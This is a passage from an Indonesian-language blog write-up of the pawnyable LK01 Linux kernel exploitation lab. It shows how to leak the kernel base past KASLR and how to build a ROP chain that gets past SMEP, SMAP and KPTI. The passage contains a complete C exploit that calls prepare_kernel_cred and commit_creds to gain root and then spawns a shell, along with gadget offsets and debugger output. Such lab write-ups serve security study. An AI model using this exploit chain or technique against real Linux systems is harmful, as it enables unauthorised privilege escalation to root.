0xffffc90000567f90:	0x0000000000000001	0x0000000000000000
0xffffc90000567fa0:	0x0000000000000000	0xffffffffffffffda
0xffffc90000567fb0:	0x0000000000421071	0x0000000000000410
0xffffc90000567fc0:	0x00007ffccb164280	0x0000000000000003
0xffffc90000567fd0:	0x0000000000000000	0x0000000000421071
0xffffc90000567fe0:	0x0000000000000033	0x0000000000000246

kita tekan “c” pada gdb, dan qemu akan menampilkan daftar address yang kita bocorkan, dan kita menemukan ini:

1
2
3
....
[*]leaked = 1032-> 0x408: 0xffffffff8113d33c
....

ingat saat kita melakukan penulisan diluar batas sebelumnya? ketika mengirim data menggunakan write hingga menimpa RIP dengan vfs_write, saya yakin kali ini kita melakukan pembacaan diluar batas hingga membocorkan vfs_read. karena alamat kernel hanya hanya mengarah kesekitar 0xffffffff810000000, jadi dalam alamat RSP diatas, ada beberapa yang mengarah ke alamat yang kita maksud seperti 0xffffffff8113d33c,0xffffffff8113d6e3 dan 0xffffffff8113d775.

untuk memastikkannya, ayo kita sedikit ubah kode exploit kita yang sebelumnya untuk menghitung offset kernel base dan gadget rop lainnya:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
...
for(int i=0;i < 0x480; i++){
       //printf("[*]leaked = 0x%016lx\n",*(unsigned long*)(buff + i * 8) & 0xfff);
       if((*(unsigned long*)(buff + i * 8) & 0xfff) == 0x33c){
       vfs_read = *(unsigned long*)(buff + i * 8);
       break;
       }
    }

    kbase = vfs_read - (0xffffffff8113d33c - 0xffffffff81000000);
    pop_rdi = kbase + 0x27bbdc;
    pop_rcx = kbase + 0x32cdd3;
    mov_rdi_rax_rep_movsq = kbase + 0x60c96b;
    swapgs = kbase + 0x800e26;
    commit_creds = kbase + 0x6e390;
    prepare_kernel_cred = kbase + 0x6e240;

    printf("kbase : 0x%016lx\n" ,kbase);
    printf("vfs_read: 0x%016lx\n" ,vfs_read);
    printf("commit_creds: 0x%016lx\n" ,commit_creds);
    printf("prepare_kernel_cred: 0x%016lx\n" ,prepare_kernel_cred);
    printf("swapgs: 0x%016lx\n" ,swapgs);
    printf("pop_rdi: 0x%016lx\n" ,pop_rdi);
    printf("pop_rcx: 0x%016lx\n" ,pop_rcx);
    printf("mov_rdi_rax_rep_movsq: 0x%016lx\n" ,mov_rdi_rax_rep_movsq);


...

dan ini hasil yang didapat:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ ./exploit
/dev/holstein terbuka
[*] tahap pertama, leaked
kbase : 0xffffffff81000000
vfs_read: 0xffffffff8113d33c
commit_creds: 0xffffffff8106e390
prepare_kernel_cred: 0xffffffff8106e240
swapgs: 0xffffffff81800e26
pop_rdi: 0xffffffff8127bbdc
pop_rcx: 0xffffffff8132cdd3
mov_rdi_rax_rep_movsq: 0xffffffff8160c96b


dengan cara itu, kita bisa melewati KASLR, tapi bagaimana dengan SMEP SMAP dan KPTI? untuk melewati SMEP, didalam tulisan ini menyebutkan bahwa kita harus menimpa register CR4 (Control Register), tapi sayangnya hal itu sudah tidak bisa lagi, untuk mengetahui selebihnya silahkan baca dokumentasi ini, dan catatan penting lainnya dari penulis tantangan ini adalah Biasanya, terdapat gadget seperti mov rdi, rax; rep movsq; ret;, yang bisa Anda gunakan untuk meneruskan hasil dari prepare_kernel_cred(NULL) ke commit_creds. Alternatifnya, Anda dapat melewati bagian pertama dari gadget commit_creds dan langsung menjalankannya. Ini dapat berguna ketika Anda tidak dapat menemukan gadget yang sesuai atau ketika Anda ingin memperpendek rantai ROP. Variabel global init_cred berisi struktur kredensial dengan hak akses root. Ini berarti Anda dapat meningkatkan hak istimewa Anda hanya dengan menjalankan mov rdi, rax; call rcx; commit_creds(init_cred). yang artinya kita sudah bisa melewati SMEP dan SMAP dengan gadget mov rdi, rax; rep movsq; ret;.

dan untuk KPTI, kita menggunakan gadgetswapgs_restore_regs_and_return_to_usermode yang sudah kita siapkan sebelumnya. mari kita lihat apa yang ada dibalik swapgs_restore_regs_and_return_to_usermode itu:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pwndbg> x/20i 0xffffffff81800e10+22 
   0xffffffff81800e26:	mov    rdi,rsp
   0xffffffff81800e29:	mov    rsp,QWORD PTR gs:0x6004
   0xffffffff81800e32:	push   QWORD PTR [rdi+0x30]
   0xffffffff81800e35:	push   QWORD PTR [rdi+0x28]
   0xffffffff81800e38:	push   QWORD PTR [rdi+0x20]
   0xffffffff81800e3b:	push   QWORD PTR [rdi+0x18]
   0xffffffff81800e3e:	push   QWORD PTR [rdi+0x10]
   0xffffffff81800e41:	push   QWORD PTR [rdi]
   0xffffffff81800e43:	push   rax
   0xffffffff81800e44:	jmp    0xffffffff81800e89
   0xffffffff81800e46:	mov    rdi,cr3
   0xffffffff81800e49:	jmp    0xffffffff81800e7f
   0xffffffff81800e4b:	mov    rax,rdi
   0xffffffff81800e4e:	and    rdi,0x7ff
   0xffffffff81800e55:	bt     QWORD PTR gs:0x1f316,rdi
   0xffffffff81800e5f:	jae    0xffffffff81800e70
   0xffffffff81800e61:	btr    QWORD PTR gs:0x1f316,rdi
   0xffffffff81800e6b:	mov    rdi,rax
   0xffffffff81800e6e:	jmp    0xffffffff81800e78
   0xffffffff81800e70:	mov    rdi,rax
pwndbg> x/2i 0xffffffff81800e46 
   0xffffffff81800e46:	mov    rdi,cr3
   0xffffffff81800e49:	jmp    0xffffffff81800e7f
pwndbg> x/6i 0xffffffff81800e7f
   0xffffffff81800e7f:	or     rdi,0x1000
   0xffffffff81800e86:	mov    cr3,rdi
   0xffffffff81800e89:	pop    rax
   0xffffffff81800e8a:	pop    rdi
   0xffffffff81800e8b:	swapgs
   0xffffffff81800e8e:	jmp    0xffffffff81800eb0
pwndbg> x/3i 0xffffffff81800eb0
   0xffffffff81800eb0:	test   BYTE PTR [rsp+0x20],0x4
   0xffffffff81800eb5:	jne    0xffffffff81800eb9
   0xffffffff81800eb7:	iretq

kesimpulannya adalah untuk memperbarui CR3, jadi sekilas sepertinya melompat ke lokasi berikutnya akan mengembalikan direktori halaman ke ruang pengguna walaupun data pada ruang stack kernel tidak dapat direferensikan. jadi, menyalin data yang awalnya ada di tumpukan kernel ke area yang dapat diakses bahkan setelah pembaruan CR3. kita harus melompat ke intruksi berikutnya dalam rop. agar rantai ROP berhasil.

ini adalah kode exploit terakhir kita:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define ERR(msg)                                                               \
  do {                                                                         \
    perror(msg);                                                               \
    exit(EXIT_FAILURE);                                                        \
  } while (0)

unsigned long user_cs, user_ss, user_rsp, user_rflags;
unsigned long prepare_kernel_cred;  //0x6e240
unsigned long commit_creds; //0x6e390
unsigned long pop_rdi; //0x27bbdc
unsigned long pop_rcx; //0x32cdd3
unsigned long mov_rdi_rax_rep_movsq; //0x60c96b
unsigned long swapgs; //0x800e26
unsigned long kbase, vfs_read;
int global_fd;

static void save_state() {
  __asm__(".intel_syntax noprefix;"
          "mov user_cs, cs;"
          "mov user_ss, ss;"
          "mov user_rsp, rsp;"
          "pushf;"
          "pop user_rflags;"
          ".att_syntax;");
}

static void shell() {
    char *argv[] = {"/bin/sh", NULL};
    char *envp[] = {NULL};
    puts("ROOOOT");
    execve("/bin/sh", argv, envp);
}

void leak()
{
    global_fd = open("/dev/holstein",O_RDWR);
    if(global_fd == -1){
        ERR("open(holstein)");
    }else{
        puts("/dev/holstein terbuka");
    }

    //membocorkan kernel base
    printf("[*] tahap pertama, leaked\n");
    char buff[0x500];
    memset(buff,'A',0x480);
    read(global_fd,buff,0x410);

    for(int i=0;i < 0x480; i++){
       //printf("[*]leaked = 0x%016lx\n",*(unsigned long*)(buff + i * 8) & 0xfff);
       if((*(unsigned long*)(buff + i * 8) & 0xfff) == 0x33c){
       vfs_read = *(unsigned long*)(buff + i * 8);
       break;
       }
    }

    kbase = vfs_read - (0xffffffff8113d33c - 0xffffffff81000000);
    pop_rdi = kbase + 0x27bbdc;
    pop_rcx = kbase + 0x32cdd3;
    mov_rdi_rax_rep_movsq = kbase + 0x60c96b;
    swapgs = kbase + 0x800e26;
    commit_creds = kbase + 0x6e390;
    prepare_kernel_cred = kbase + 0x6e240;

    printf("kbase : 0x%016lx\n" ,kbase);
    printf("vfs_read: 0x%016lx\n" ,vfs_read);
    printf("commit_creds: 0x%016lx\n" ,commit_creds);
    printf("prepare_kernel_cred: 0x%016lx\n" ,prepare_kernel_cred);
    printf("swapgs: 0x%016lx\n" ,swapgs);
    printf("pop_rdi: 0x%016lx\n" ,pop_rdi);
    printf("pop_rcx: 0x%016lx\n" ,pop_rcx);
    printf("mov_rdi_rax_rep_movsq: 0x%016lx\n" ,mov_rdi_rax_rep_movsq);
    
}

void rop()
{
    puts("[+]tahap kedua, rop");
    char buff[0x500];
    memset(buff,'B',0x480);

    unsigned long *rop = (unsigned long*)(buff + 0x408);
    *rop++ = pop_rdi;
    *rop++ = 0;
    *rop++ = prepare_kernel_cred;
    *rop++ = pop_rcx;
    *rop++ = 0;
    *rop++ = mov_rdi_rax_rep_movsq;
    *rop++ = commit_creds;
    *rop++ = swapgs;
    *rop++ = 0xdeadbeef;
    *rop++ = 0xdeadbeef;
    *rop++ = (unsigned long)shell; //[rdi+0x10]
    *rop++ = user_cs; //[rdi+0x18 ]
    *rop++ = user_rflags; //[rdi+0x20]
    *rop++ = user_rsp;  //[rdi+0x28]
    *rop++ = user_ss; //[rdi+0x30]
    
    write(global_fd,buff,(void*)rop-(void*)buff);
}


int main()
{
    save_state();

    leak();
    
    rop();

    close(global_fd);

    return EXIT_SUCCESS;
}


sebelum menjalankan exploitnya, kita harus kembali mengubah setidguid ke 1337 di rootfs/etc/init.d/S99pawnyable, aktifkan semua mitigasi pada run.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/sh
qemu-system-x86_64 \
    -m 128M \
    -nographic \
    -kernel bzImage \
    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=1 kaslr" \
    -no-reboot \
    -cpu qemu64,+smap,+smep \
    -smp 1 \
    -monitor /dev/null \
    -initrd rootfs_updated.cpio \
    -net nic,model=virtio \
    -net user

dan ini hasilnya


Referensi

https://pawnyable.cafe/linux-kernel/LK01/stack_overflow.html

https://lkmidas.github.io/posts/20210128-linux-kernel-pwn-part-2/

https://patchwork.kernel.org/project/kernel-hardening/patch/20190220180934.GA46255@beast/


This post is licensed under CC BY 4.0 by the author.

Trending Tags